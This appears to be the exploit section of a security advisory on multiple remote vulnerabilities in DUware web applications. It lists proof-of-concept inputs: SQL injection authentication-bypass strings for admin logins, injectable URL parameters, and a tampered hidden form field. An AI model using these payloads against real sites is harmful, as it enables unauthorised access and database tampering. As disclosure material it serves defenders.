• info
• discussion
• exploit
• solution
• references

DUware Software Multiple Remote Vulnerabilities

No exploit is required.

The following proof of concept examples are available:

DUclassmate:
<input type="hidden" name="MM_recordId" value="[Your ID Number]">

DUclassified:
http://www.example.com/DUclassified/admin/
user= admin' or '1'='1

http://www.example.com/DUclassified/adDe tail.asp?cat_id=1;[SQL INJECT]&sub_id=1;[SQL INJECT]

DUforum:
user= admin
password= ' or '1'='1

http://www.example.com/DUforum/messages.asp?FOR_ID=1;[SQL INJECT]
http://www.example.com/DUforum/messageDetail.asp?MSG_ID=1;[SQL INJECT]